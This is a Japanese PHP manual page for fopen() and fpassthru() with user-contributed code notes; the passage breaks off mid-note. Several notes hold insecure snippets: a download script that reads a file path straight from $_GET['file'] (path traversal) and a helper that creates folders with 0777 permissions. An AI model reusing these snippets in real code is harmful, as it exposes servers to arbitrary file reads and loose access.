'a+' | 読み込み／書き出し用でオープンします。 ファイルポインタをファイルの終端に置きます。 ファイルが存在しない場合には、作成を試みます。 このモードは、fseek() では読み込み位置のみに影響します。 書き込みは、常に追記となります。
'x' | 書き込みのみでオープンします。ファイルポインタをファイルの先頭に置きます。 ファイルが既に存在する場合には fopen() は失敗し、 E_WARNING レベルのエラーを発行します。 ファイルが存在しない場合には新規作成を試みます。 これは open(2) システムコールにおける O_EXCL|O_CREAT フラグの指定と等価です。 このオプションはPHP4.3.2以降でサポートされ、また、 ローカルファイルに対してのみ有効です。
'x+' | 読み込み／書き出し用でオープンします。 それ以外のふるまいは 'x' と同じです。
'c' | 書き込みのみでオープンします。ファイルが存在しない場合には新規作成を試みます。 ファイルが既に存在する場合でもそれを ('w' のように) 切り詰めたりせず、 また ('x' のように) 関数のコールが失敗することもありません。 ファイルポインタをファイルの先頭に置きます。これは、アドバイザリ・ロック (flock() を参照ください) を確保してからファイルを変更したい場合に便利です。 'w' を使うと、ロックを取得する前にファイルを切り詰めてしまいます (もしファイルを切り詰めたいのなら、ロックを要求した後で ftruncate() を使うこともできます)。
'c+' | 読み込み／書き出し用でオープンします。 それ以外のふるまいは 'c' と同じです。
'e' | オープンされたファイル記述子に close-on-exec フラグを設定します。 POSIX.1-2008 準拠のシステムでコンパイルされた PHP でのみ利用可能です。

注意:

オペレーティングシステムファミリが異なると行末も異なります。 テキストファイルに書き出し、そこに改行を加えたいとき、 オペレーティングシステムにあわせた正しい改行コードを使用する必要があります。 Unix ベースのシステムでは改行に \n キャラクタを使用します。 Windows ベースのシステムでは \r\n を使用します。 マッキントッシュベースのシステム (Mac OS Classic) では \r を使用します。

間違った改行コードでファイルに書き込むと、 他のアプリケーション上でそのファイルを開いた際に変な風に見えてしまいます。

Windows上では、\nを\r\nに透過的に変換する text-mode変換フラグ('t')が提供されます。 それに対し、'b'を使って強制的にバイナリモードにすることもできます。 その場合データの変換はされません。 このフラグを使用するには、'b' または 't'を mode引数の最後に追加してください。

デフォルトの変換モードは 'b' です。 plain-text ファイルを使用する場合には 't' モードを指定できますし、 改行に \n を使用すると、 古いバージョンのメモ帳のようなアプリケーションで読めることを期待できます。 それ以外のケースでは 'b' を使うべきです。

バイナリファイルを扱っている際に 't' フラグを指定した場合、 画像ファイルが壊れたり、\r\n キャラクタがおかしくなる等の問題を抱えてしまうでしょう。

注意:

互換性維持のために、't' モードを使用または依存しているコードを書き直し、 正しい改行コードと 'b' モードを代わりに使用することが、 強く推奨されます。

use_include_path

オプションの３番目の引数use_include_pathに'1'又は true を設定することにより、include_path のファイルの検索も行うこともできます。

context

注意: コンテキストのサポートは、 PHP 5.0.0 で追加されました。contexts の説明に関しては、 ストリーム を参照してください。

返り値

成功した場合にファイルポインタリソース、 失敗した場合に false を返します

エラー / 例外

失敗したときは E_WARNING が発生します。

変更履歴

バージョン | 説明
7.0.16, 7.1.2 | 'e' が追加されました。

例

例1 fopen() の例

<?php
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r");
$handle = fopen("ftp://user:password@example.com/somefile.txt", "w");
?>

注意

警告

IIS のような、いくつかの標準に 対応してない Web サーバーは、PHP に警告を発生させるような手順でデータを送信します。 このようなサーバーを使用する場合は、 error_reporting を警告を発生しないレベルまで小さくする必要があります。 PHP では、https:// ラッパーでストリームをオープンする際に バグがある IIS サーバーソフトウエアを検出することができ、この警告を抑制することができます。 あなたが ssl:// ソケットを作成するために fsockopen() を使用している場合、 自らこの警告を検出し、抑制する必要があります。

注意:

ファイルの読みこみ・書きこみ時に問題が発生し、 サーバーモジュール版のPHPを使用している場合、 使用するファイル・ディレクトリがサーバープロセスからアクセス可能かどうかを確認してください。

注意:

この関数は、filename がディレクトリの場合でも成功することがあります。 filename がファイルなのかディレクトリなのかがはっきりしない場合は、 まず is_dir() を使ってから fopen() を呼ぶようにしましょう。

参考

  • サポートするプロトコル/ラッパー
  • fclose() - オープンされたファイルポインタをクローズする
  • fgets() - ファイルポインタから 1 行取得する
  • fread() - バイナリセーフなファイルの読み込み
  • fwrite() - バイナリセーフなファイル書き込み処理
  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする
  • file() - ファイル全体を読み込んで配列に格納する
  • file_exists() - ファイルまたはディレクトリが存在するかどうか調べる
  • is_readable() - ファイルが存在し、読み込み可能であるかどうかを知る
  • stream_set_timeout() - ストリームにタイムアウトを設定する
  • popen() - プロセスへのファイルポインタをオープンする
  • stream_context_create() - ストリームコンテキストを作成する
  • umask() - 現在の umask を変更する
  • SplFileObject

User Contributed Notes

Anon. 07-Nov-2020 10:31
/***** GENTLE REMINDER *****/
Really important. Do NOT use the "w" flag unless you want to delete everything in the file.
php-manual at merlindynamics dot com 20-May-2020 10:19
There is an undocumented mode for making fopen non-blocking (not working on windows). By adding 'n' to the mode parameter, fopen will not block, however if the pipe does not exist an error will be raised.

$fp = fopen("/tmp/debug", "a"); //blocks if pipe does not exist

$fp = fopen("/tmp/debug", "an"); //raises error on pipe not exist
k-gun at git dot io 27-Oct-2019 06:22
Seems not documented here but keep in mind, when $filename contains null byte (\0) then a TypeError will be thrown with message such;

TypeError: fopen() expects parameter 1 to be a valid path, string given in ...
etters dot ayoub at gmail dot com 02-Feb-2018 04:18
This functions check recursive permissions and recursive existence parent folders, before creating a folder. To avoid the generation of errors/warnings.

/**
 * This functions check recursive permissions and recursive existence parent folders,
 * before creating a folder. To avoid the generation of errors/warnings.
 *
 * @return bool
 *     true folder has been created or exist and writable.
 *     False folder not exist and cannot be created.
 */
function createWritableFolder($folder)
{
    if (file_exists($folder)) {
        // Folder exist.
        return is_writable($folder);
    }
    // Folder not exit, check parent folder.
    $folderParent = dirname($folder);
    if($folderParent != '.' && $folderParent != '/' ) {
        if(!createWritableFolder(dirname($folder))) {
            // Failed to create folder parent.
            return false;
        }
        // Folder parent created.
    }

    if ( is_writable($folderParent) ) {
        // Folder parent is writable.
        if ( mkdir($folder, 0777, true) ) {
            // Folder created.
            return true;
        }
        // Failed to create folder.
    }
    // Folder parent is not writable.
    return false;
}

/**
 * This functions check recursive permissions and recursive existence parent folders,
 * before creating a file/folder. To avoid the generation of errors/warnings.
 *
 * @return bool
 *     true has been created or file exist and writable.
 *     False file not exist and cannot be created.
 */
function createWritableFile($file)
{
    // Check if conf file exist.
    if (file_exists($file)) {
        // check if conf file is writable.
        return is_writable($file);
    }

    // Check if conf folder exist and try to create conf file.
    if(createWritableFolder(dirname($file)) && ($handle = fopen($file, 'a'))) {
        fclose($handle);
        return true; // File conf created.
    }
    // Inaccessible conf file.
    return false;
}
petepostma-deletethis at gmail dot com 12-Apr-2017 03:40
The verbal descriptions take a while to read through to get a feel for the expected results for fopen modes. This csv table can help break it down for quicker understanding to find which mode you are looking for:

Mode,Creates,Reads,Writes,Pointer Starts,Truncates File,Notes,Purpose
r,,y,,beginning,,fails if file doesn't exist,basic read existing file
r+,,y,y,beginning,,fails if file doesn't exist,basic r/w existing file
w,y,,y,beginning+end,y,,"create, erase, write file"
w+,y,y,y,beginning+end,y,,"create, erase, write file with read option"
a,y,,y,end,,,"write from end of file, create if needed"
a+,y,y,y,end,,,"write from end of file, create if needed, with read options"
x,y,,y,beginning,,fails if file exists,"like w, but prevents over-writing an existing file"
x+,y,y,y,beginning,,fails if file exists,"like w+, but prevents over writing an existing file"
c,y,,y,beginning,,,open/create a file for writing without deleting current content
c+,y,y,y,beginning,,,"open/create a file that is read, and then written back down"
apathetic012 at gmail dot com 04-Sep-2012 03:19
a variable $http_response_header is available when doing the fopen(). Which contains an array of the response header.
chapman at worldtakeoverindustries dot com 09-Mar-2012 07:25
Note - using fopen in 'w' mode will NOT update the modification time (filemtime) of a file like you may expect. You may want to issue a touch() after writing and closing the file which update its modification time. This may become critical in a caching situation, if you intend to keep your hair.
kasper at webmasteren dot eu 10-Feb-2012 08:36
"Do not use the following reserved device names for the name of a file:
CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1,
LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. Also avoid these names
followed immediately by an extension; for example, NUL.txt is not recommended.
For more information, see Namespaces"
it is a windows limitation.
see:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa365247(v=vs.85).aspx
php at richardneill dot org 01-Aug-2011 09:39
fopen() will block if the file to be opened is a fifo. This is true whether it's opened in "r" or "w" mode.  (See man 7 fifo: this is the correct, default behaviour; although Linux supports non-blocking fopen() of a fifo, PHP doesn't).
The consequence of this is that you can't discover whether an initial fifo read/write would block because to do that you need stream_select(), which in turn requires that fopen() has happened!
splogamurugan at gmail dot com 09-Jun-2011 02:13
While opening a file with multibyte data (Ex: donnees multi-octets), faced some issues with the encoding. Got to know that it uses  windows-1250. Used iconv to convert it to UTF-8 and it resolved the issue.

<?php
function utf8_fopen_read($fileName) {
    $fc = iconv('windows-1250', 'utf-8', file_get_contents($fileName));
    $handle=fopen("php://memory", "rw");
    fwrite($handle, $fc);
    fseek($handle, 0);
    return $handle;
}
?>

Example usage:

<?php
$fh = utf8_fopen_read("./tpKpiBundle.csv");
while (($data = fgetcsv($fh, 1000, ",")) !== false) {
    foreach ($data as $value) {
        echo $value . "<br />\n";
    }
}
?>

Hope it helps.
php at delhelsa dot com 24-Jun-2008 12:27
With php 5.2.5 on Apache 2.2.4, accessing files on an ftp server with fopen() or readfile() requires an extra forwardslash if an absolute path is needed.

i.e., if a file called bullbes.txt is stored under /var/school/ on ftp server example.com and you're trying to access it with user blossom and password buttercup, the url would be:

ftp://blossom:buttercup@example.com//var/school/bubbles.txt

Note the two forwardslashes. It looks like the second one is needed so the server won't interpret the path as relative to blossom's home on townsville.
sean downey 09-Feb-2008 12:23
when using ssl / https on windows i would get the error:
"Warning: fopen(https://example.com): failed to open stream: Invalid argument in someSpecialFile.php on line 4344534"

This was because I did not have the extension "php_openssl.dll" enabled.

So if you have the same problem, goto your php.ini file and enable it :)
ceo at l-i-e dot com 10-Apr-2006 08:13
If you need fopen() on a URL to timeout, you can do like:
<?php
  $timeout = 3;
  $old = ini_set('default_socket_timeout', $timeout);
  $file = fopen('http://example.com', 'r');
  ini_set('default_socket_timeout', $old);
  stream_set_timeout($file, $timeout);
  stream_set_blocking($file, 0);
  //the rest is standard
?>
flobee 14-Jan-2006 07:58
download: i need a function to simulate a "wget url" and do not buffer the data in the memory to avoid thouse problems on large files:
<?php
function download($file_source, $file_target) {
        $rh = fopen($file_source, 'rb');
        $wh = fopen($file_target, 'wb');
        if ($rh===false || $wh===false) {
// error reading or opening file
           return true;
        }
        while (!feof($rh)) {
            if (fwrite($wh, fread($rh, 1024)) === FALSE) {
                   // 'Download error: Cannot write to file ('.$file_target.')';
                   return true;
               }
        }
        fclose($rh);
        fclose($wh);
        // No error
        return false;
    }
?>
info at b1g dot de 24-Oct-2005 04:54
Simple class to fetch a HTTP URL. Supports "Location:"-redirections. Useful for servers with allow_url_fopen=false. Works with SSL-secured hosts.

<?php
#usage:
$r = new HTTPRequest('http://www.example.com');
echo $r->DownloadToString();

class HTTPRequest
{
    var $_fp;        // HTTP socket
    var $_url;        // full URL
    var $_host;        // HTTP host
    var $_protocol;    // protocol (HTTP/HTTPS)
    var $_uri;        // request URI
    var $_port;        // port

    // scan url
    function _scan_url()
    {
        $req = $this->_url;

        $pos = strpos($req, '://');
        $this->_protocol = strtolower(substr($req, 0, $pos));

        $req = substr($req, $pos+3);
        $pos = strpos($req, '/');
        if($pos === false)
            $pos = strlen($req);
        $host = substr($req, 0, $pos);

        if(strpos($host, ':') !== false)
        {
            list($this->_host, $this->_port) = explode(':', $host);
        }
        else
        {
            $this->_host = $host;
            $this->_port = ($this->_protocol == 'https') ? 443 : 80;
        }

        $this->_uri = substr($req, $pos);
        if($this->_uri == '')
            $this->_uri = '/';
    }

    // constructor
    function HTTPRequest($url)
    {
        $this->_url = $url;
        $this->_scan_url();
    }

    // download URL to string
    function DownloadToString()
    {
        $crlf = "\r\n";

        // generate request
        $req = 'GET ' . $this->_uri . ' HTTP/1.0' . $crlf
            .    'Host: ' . $this->_host . $crlf
            .    $crlf;

        // fetch
        $this->_fp = fsockopen(($this->_protocol == 'https' ? 'ssl://' : '') . $this->_host, $this->_port);
        fwrite($this->_fp, $req);
        while(is_resource($this->_fp) && $this->_fp && !feof($this->_fp))
            $response .= fread($this->_fp, 1024);
        fclose($this->_fp);

        // split header and body
        $pos = strpos($response, $crlf . $crlf);
        if($pos === false)
            return($response);
        $header = substr($response, 0, $pos);
        $body = substr($response, $pos + 2 * strlen($crlf));

        // parse headers
        $headers = array();
        $lines = explode($crlf, $header);
        foreach($lines as $line)
            if(($pos = strpos($line, ':')) !== false)
                $headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos+1));

        // redirection?
        if(isset($headers['location']))
        {
            $http = new HTTPRequest($headers['location']);
            return($http->DownloadToString($http));
        }
        else
        {
            return($body);
        }
    }
}
?>
durwood at speakeasy dot NOSPAM dot net 06-Sep-2005 11:43
I couldn't for the life of me get a certain php script working when i moved my server to a new Fedora 4 installation. The problem was that fopen() was failing when trying to access a file as a URL through apache -- even though it worked fine when run from the shell and even though the file was readily readable from any browser.  After trying to place blame on Apache, RedHat, and even my cat and dog, I finally ran across this bug report on Redhat's website:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=164700

Basically the problem was SELinux (which I knew nothing about) -- you have to run the following command in order for SELinux to allow php to open a web file:

/usr/sbin/setsebool httpd_can_network_connect=1

To make the change permanent, run it with the -P option:

/usr/sbin/setsebool -P httpd_can_network_connect=1

Hope this helps others out -- it sure took me a long time to track down the problem.
ideacode 03-Aug-2005 07:28
Note that whether you may open directories is operating system dependent. The following lines:

<?php
// Windows ($fh === false)
$fh = fopen('c:\\Temp', 'r');

// UNIX (is_resource($fh) === true)
$fh = fopen('/tmp', 'r');
?>

demonstrate that on Windows (2000, probably XP) you may not open a directory (the error is "Permission Denied"), regardless of the security permissions on that directory.

On UNIX, you may happily read the directory format for the native filesystem.
ken dot gregg at rwre dot com 25-Nov-2003 03:03
PHP will open a directory if a path with no file name is supplied. This just bit me. I was not checking the filename part of a concatenated string.

For example:

<?php
$fd = fopen('/home/mydir/' . $somefile, 'r');
?>

Will open the directory if $somefile = ''

If you attempt to read using the file handle you will get the binary directory contents. I tried append mode and it errors out so does not seem to be dangerous.

This is with FreeBSD 4.5 and PHP 4.3.1. Behaves the same on 4.1.1 and PHP 4.1.2. I have not tested other version/os combinations.
dan at cleandns dot com 19-Nov-2003 11:15
<?php
#going to update last users counter script since
#aborting a write because a file is locked is not correct.

$counter_file = '/tmp/counter.txt';
clearstatcache();
ignore_user_abort(true);     ## prevent refresh from aborting file operations and hosing file
if (file_exists($counter_file)) {
   $fh = fopen($counter_file, 'r+');
    while(1) {
      if (flock($fh, LOCK_EX)) {
         #$buffer = chop(fgets($fh, 2));
         $buffer = chop(fread($fh, filesize($counter_file)));
         $buffer++;
         rewind($fh);
         fwrite($fh, $buffer);
         fflush($fh);
         ftruncate($fh, ftell($fh));
         flock($fh, LOCK_UN);
         break;
      }
   }
}
else {
   $fh = fopen($counter_file, 'w+');
   fwrite($fh, "1");
   $buffer="1";
}
fclose($fh);

print "Count is $buffer";

?>
keithm at aoeex dot NOSPAM dot com 31-Jul-2001 05:19
I was working on a consol script for win32 and noticed a few things about it.  On win32 it appears that you can't re-open the input stream for reading, but rather you have to open it once, and read from there on.  Also, i don't know if this is a bug or what but it appears that fgets() reads until the new line anyway.  The number of characters returned is ok, but it will not halt reading and return to the script.  I don't know of a work around for this right now, but i'll keep working on it.

This is some code to work around the close and re-open of stdin.

<?php
function read($length='255'){
    if (!isset($GLOBALS['StdinPointer'])){
        $GLOBALS['StdinPointer']=fopen("php://stdin","r");
    }
    $line=fgets($GLOBALS['StdinPointer'],$length);
    return trim($line);
}
echo "Enter your name: ";
$name=read();
echo "Enter your age: ";
$age=read();
echo "Hi $name, Isn't it Great to be $age years old?";
@fclose($StdinPointer);
?>


ファイルポインタ上に残っているすべてのデータを出力する

  • ≪ fopen
  • fputcsv ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルポインタ上に残っているすべてのデータを出力する

fpassthru

(PHP 4, PHP 5, PHP 7, PHP 8)

fpassthru — ファイルポインタ上に残っているすべてのデータを出力する

説明

fpassthru ( resource $stream ) : int

与えられたファイルポインタを EOF まで読み、結果を出力バッファに書き出します。

ファイルに既にデータを書き終えている場合で ファイルポインタをファイルの先頭にリセットするには rewind() をコールする必要があります。

ファイルを更新したり特定のオフセットを探すのではなく 内容を出力バッファにダンプしたいだけの場合、 readfile() を使用することが可能です。 この場合、fopen() コールは必要ありません。

パラメータ

stream

ファイルポインタは、有効なファイルポインタである必要があり、 fopen() または fsockopen() で正常にオープンされた （そしてまだ fclose() でクローズされていない） ファイルを指している必要があります。

返り値

エラーが起こった場合、fpassthru() は false を返します。 それ以外の場合、fpassthru() は stream から読み込んだ文字の数を返し、出力へ渡します。

例

例1 バイナリファイルに対する fpassthru() の使用例

<?php

// バイナリモードでファイルをオープンする
$name = './img/ok.png';
$fp = fopen($name, 'rb');

// 正しいヘッダを送出する
header("Content-Type: image/png");
header("Content-Length: " . filesize($name));

// 画像をダンプしスクリプトを終了する
fpassthru($fp);
exit;

?>

注意

注意:

fpassthru() を Windows システムのバイナリファイルで 使用する場合、fopen() をコールする際に モードに b を追加してバイナリモードでファイルを オープンするようにしてください。

バイナリファイルを扱う場合は、必要でなくても b フラグを使用するようにしましょう。 それにより、スクリプトの可搬性がより高くなります。

参考

  • readfile() - ファイルを出力する
  • fopen() - ファイルまたは URL をオープンする
  • popen() - プロセスへのファイルポインタをオープンする
  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする

User Contributed Notes

RaulentRoi 06-Jun-2013 02:55
Passthru didn't work for me for files greater than about 5Mb. Just adding "ob_end_clean()", all works fine now, including > 50Mb files.

$ToProtectedFile=$pathUnder.$filename
$handle = @fopen($ToProtectedFile, "rb");

@header("Cache-Control: no-cache, must-revalidate");
@header("Pragma: no-cache"); //keeps ie happy
@header("Content-Disposition: attachment; filename= ".$NomFichier);
@header("Content-type: application/octet-stream");
@header("Content-Length: ".$SizeOfFile);
@header('Content-Transfer-Encoding: binary');

ob_end_clean();//required here or large files will not work
@fpassthru($handle);//works fine now
public at telcontar dot net 08-Apr-2007 01:26
(Do not delete this, it is NOT a bug report. It is a *follow up* to vague comments on the page about fpassthru() using excessive memory, and a usage tip that if you want to use pass-through processing, PHP 5 is strongly advised. It may LOOK like a bug report because unlike earlier tips, I've tried to clarify the situation. It is not a bug report because the problem is RESOLVED in PHP 5. Rather, anyone still using PHP 4 (for example, for compatibility reasons) should simply be aware that the problem is now resolved.)

In PHP 4 (4.4.4 tested as a CGI, Apache 2, Linux), use of both fpassthru() and fread() in a loop suffer the SAME memory "leakage". This is characterised by all data that is sent to the client also being kept inside PHP and not released. It would appear to be a failure to garbage collect the data.

In PHP 5 (5.2.1 tested as a CGI, Apache 2, Linux) this flaw is resolved in both cases. Neither fpassthru() nor fread() in a loop "leak" memory during execution.

The issue of which one to use appears not to be an issue of memory as both were equally flawed in PHP 4 and both are equally fixed in PHP 5.

Speed, is left to a reader exercise to test in the latest PHPs.
sarabas at itstudio dot pl 23-Mar-2007 02:55
In case of multiple buffering possibility try running ob_end_clean() from the example below in a loop:

while (@ob_end_clean());

It will help for example in case of automatic gz compression of output.
file downloads verified by session vars 21-Oct-2005 08:36
here is my code, i tried several combinations, but most of them didnt work, and had all kinds of unnecessary headers in them, etc. this has additional good features, such as it stops sending the file if the connection stops (hopefully it does anyways), and it fixes IE filename problems when sending files that contain more than one dot in them by using a simple  preg_replace (IE likes to terminate the filename and messes everything up):

<?
function send_file($path) {
    session_write_close();
    ob_end_clean();
    if (!is_file($path) || connection_status()!=0)
        return(FALSE);

    //to prevent long file from getting cut off from     //max_execution_time

    set_time_limit(0);

    $name=basename($path);

    //filenames in IE containing dots will screw up the
    //filename unless we add this

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
        $name = preg_replace('/\./', '%2e', $name, substr_count($name, '.') - 1);

    //required, or it might try to send the serving     //document instead of the file

    header("Cache-Control: ");
    header("Pragma: ");
    header("Content-Type: application/octet-stream");
    header("Content-Length: " .(string)(filesize($path)) );
    header('Content-Disposition: attachment; filename="'.$name.'"');
    header("Content-Transfer-Encoding: binary\n");

    if($file = fopen($path, 'rb')){
        while( (!feof($file)) && (connection_status()==0) ){
            print(fread($file, 1024*8));
            flush();
        }
        fclose($file);
    }
    return((connection_status()==0) and !connection_aborted());
}

?>
jonathan at corporacionlinux dot cl 05-Aug-2005 08:58
While trying to "passthru" a file to the browser via PHP, but using the FEOF loop, the script tried to buffer the entire file before passing it to the browser. This is my original script. When calling it with a 15M PHP memory limit and a 16M file, apache killed the script.

<?php
    $name = $tempDir . $_GET["file"];
    $fd = fopen($name, 'rb');

    if($fd == false)

        die("<font color=red>ERROR: File not found.</font>");

    // send the right headers
    header("Cache-Control: ");// leave blank to avoid IE errors
    header("Pragma: ");// leave blank to avoid IE errors
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"" . $_GET["file"] . "\"");
    header("Content-length:".(string)(filesize($name)));
    sleep(1);

    session_write_close();
    ob_flush();
    flush();

         while(!feof($fd)) {

               $buffer = fread($fd, 2048);
               print $buffer;
         }

         fclose ($fd);
         exit;
?>

Apache error log read:
Allowed memory size of 15728640 bytes exhausted (tried to allocate 10240 bytes)

I tried everything, including a flush() inside the loop. But the solution was forcing the flush other way:

<?php

    $buffer = fread($fd, 32 * 1024);

?>

voila... works just fine for me.
webmaster at hardcorehoneyz dot com 16-Dec-2004 05:20
In relation to using sessions and fpassthru together.

Try adding: session_write_close()

somewhere near the top of the download script, before you start sending the video, and that should take care of it.

I've implemented and tested session_write_close() and it works like a dream. Other links can now be clicked and loaded whilst a big file is being passed using fpassthru.

Big thanks to Greg for this tip. What a helpful community we live in :0)
webmaster at hardcorehoneyz dot com 06-Dec-2004 05:33
I believe the following problem is a result of using sessions and fpassthru together.

I have a subscription based site which protects large video files (WMV format between 100-120MB) by storing them beneath web root. Downloading a video file requires the user to click a HTML link which requests a PHP script e.g. download-video.php?video_id=123. If the user is valid (session vars created from sucessful login) the script then creates the necessary headers to trigger a 'Save As' download box, opens the file from beneath web root and sends it using fpassthru.

The problem is as follows:

The user should be able to click other links on the site whilst a file is downloading. But when they do so, the requested page won't load until the download is complete.

As this download script is a seperate PHP request, the user should be able to load other pages on the site whilst the file is downloading.

At time of writing, I've tried almost everything to remove this bug. There must be a problem with using a PHP script rather than a direct web server link to download files.
lbaudrillard at hotmail dot com 15-Nov-2004 12:45
The way the PHP page is generated (buffered or not, and how if buffered) has an impact of the download function made using fpassthru (or fread, ...). I mean a download function may work just fine when it is called from a simple php file (no buffering here):

<?php
    function download($file) { ... }

    $filename = "/tmp/test.zip";
    download($filename);
?>

but may fails "in the real life" when the page is buffered:

<?php
    ob_start("ob_gzhandler");
    ...
    require_once(download.php);
    ...
    $filename = "/files/file.zip";
    download($filename);
?>

In my particular case, only Firefox 1.0 English did not perform the download, because of the ob_start("ob_gzhandler"). Replacing it by ob_start() solved the problem.

Hope that helps
Laurent from Paris, France
phpnet at -remove-me-uchange dot co dot uk 03-Nov-2004 05:11
I've modified the example given by straz at -removethispart-mac dot com to count each byte of the file out.  This can then be compared with the filesize once the file sending is complete to determine whether the file was sent succesfully or not.

Of course, this doesn't guarantee that the user actually recieved the file successfully though will let us know if something goes wrong half way through reading/sending the file at our end.

<?
/* fpassthru is apparantly a memory-hog. Use this instead */
    while(!feof($fp)) {
        $buf = fread($fp, 4096);
        echo $buf;
        $bytesSent+=strlen($buf);    /* We know how many bytes were sent to the user */
    }
?>

I've then got this code to update my database to say that the file was downloaded successfully.

<?
    if($bytesSent==filesize($file)) {
        /* Do some cool stuff here! */
    }
?>
nexz2004 at yahoo dot com 21-May-2004 12:30
also it is possible to make your php script resume downloads, to do this you need to check $_SERVER['HTTP_RANGE'] which may contain something like this
 "bytes=10-" - resume from position 10, and to end of file

when sending response it is also needed to send with headers
Accept-Ranges: bytes
Content-Length: {filesize}
Content-Range: bytes 10-{filesize-1}/{ffilesize}

hope its usefull
axx at axxess dot ca 15-Feb-2004 01:04
I have also perused this list of examples which I am sure work for that person, but, as others have mentioned here, do not work for me or (anyone else).

So what I did was try out all of these examples, check other sources of information, and put together what I think to be an example of what works on 'more than a few' systems.  The following example works for me wherever I need to create a download using fpassthru(), which works with IE6 (among other browsers):

<?
/*/
Download a file using fpassthru()
/*/
$fileDir = "/home/pathto/myfiles"; // supply a path name.
$fileName = "myfile.zip"; // supply a file name.
$fileString=$fileDir.'/'.$fileName; // combine the path and file
// translate file name properly for Internet Explorer.
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")){
  $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
}
// make sure the file exists before sending headers
if(!$fdl=@fopen($fileString,'r')){
    die("Cannot Open File!");
} else {
  header("Cache-Control: ");// leave blank to avoid IE errors
  header("Pragma: ");// leave blank to avoid IE errors
  header("Content-type: application/octet-stream");
  header("Content-Disposition: attachment; filename=\"".$fileName."\"");
  header("Content-length:".(string)(filesize($fileString)));
    sleep(1);
    fpassthru($fdl);
}
?>

All that should require editing is the $fileDir and $fileName variables.  Upload the file and point to it with your browser to see if the script will prompt you for a download.

NOTE : Regarding File Types : Leaving the 'Content-type' header as-is should allow you to download pretty much any file.  I have tested it on some of the more popular file types including zip, css, php, inc, htm, png, gif and jpg.  During these tests, I did note that if I selected 'cancel' or 'open' when prompted to download either a gif or jpg, that it would indeed cancel or open in my image browser as it should, but subsequent attempts at 'downloading only' yielded a web page view of the image.  Closing the window and opening a new one reset this, allowing me save a jpeg or gif to the hard drive directly.  I believe the problem lies in the way the caching headers are treated, since if any info is specified in the 'cache-control' header, the browser download fails completely (in IE, anyways).

Enjoy! Mail me if it works!  ;-)
mm at tbwachiat dot com 16-Jan-2004 05:00
I've tried all of these renditions of this elusive task.  NONE of them have worked for me.  And when i say work, i mean where i can click some sort of link and have a file Save As... dialog box come up on MSIE 6.0.  In every other browser i've tried (Safari,Firebird,Netscape pc and mac) all have worked where it downloads to my desktop or asks me to save it in a certain place.

on MSIE 6.0.  the file i'm trying to download appears in it's own window. it's an image. BUT, the only thing i can do with it is SAVE IT AS A BMP. ugh.

I'm using the fpassthru function because i have files that must not be served by the webserver.
The Otter 10-Jan-2004 09:57
In reply to spam at flatwan dot net
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

The best way to do this would to be:
<?php
@ignore_user_abort();
@set_time_limit(0);
?>
This only changes these settings for the script that calls them. (Thanks to (I don't remember who) who wrote a form mail script that used these two lines)
spam at flatwan dot net 18-Nov-2003 04:07
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

Jon
arabold AT nero DOT com 15-May-2003 04:11
Here's a summary the different headers you need to set to make downloads *always* work with IE and Mozilla:

[SNIP]
  $disposition = "inline"; // "inline" to view file in browser or "attachment" to download to hard disk
  $mime = "image/jpeg"; // or whatever the mime type is
  $name = "foo.jpg"; // file name
  $path = "/path/to/foo.jpg"; // full path and file name

  if (isset($_SERVER["HTTPS"])) {
      /**
       * We need to set the following headers to make downloads work using IE in HTTPS mode.
       */
      header("Pragma: ");
      header("Cache-Control: ");
      header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
      header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
      header("Cache-Control: no-store, no-cache, must-revalidate"); // HTTP/1.1
      header("Cache-Control: post-check=0, pre-check=0", false);
  }
      else if ($disposition == "attachment") {
          header("Cache-control: private");
  }
  else {
      header("Cache-Control: no-cache, must-revalidate");
      header("Pragma: no-cache");
  }
  header("Content-Type: $mime");
  header("Content-Disposition:$disposition; filename=\"".trim(htmlentities($name))."\"");
  header("Content-Description: ".trim(htmlentities($name)));
  header("Content-Length: ".(string)(filesize($path)));
  header("Connection: close");
[/SNIP]

This way all kinds of download work for me. Hope that helps
DarkAngela_ at hotmail dot com 08-May-2003 04:48
Just a little thing more from the ssharma's script (thx to him for his great help ...) :

Don't forget to put the fopen with the "rb" argument and not just with the "r"
or you won't be able to make the script work with all pdf file.

My final script (working for Open and Save on a 1.9 Mb complex PDF file) :

<?php
//The filename is stored in the $produitFilename variable in my script (the only thing you need)

// You need to specify the REAL path for your file and not the URL
$fullPath    = getcwd()."./directory_where_the_file_is/".$produitFilename;

if ($fd = fopen ($fullPath, "rb")) {
    $fsize    =filesize($fullPath);
    $fname     = basename ($fullPath);

    header("Pragma: ");
    header("Cache-Control: ");
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$fname."\"");
    header("Content-length: $fsize");

    fpassthru($fd);
}
?>

Have fun and thx u all 4 ur great help ...

Simon (from Paris - France)
Omega2k at web dot de 27-Mar-2003 05:07
To throttle download-speed of specific files this works fine in my board hosted on my local machine:

//#######################################
 $big_file=filesize($completeFilePath)/1024; //size of file in kb
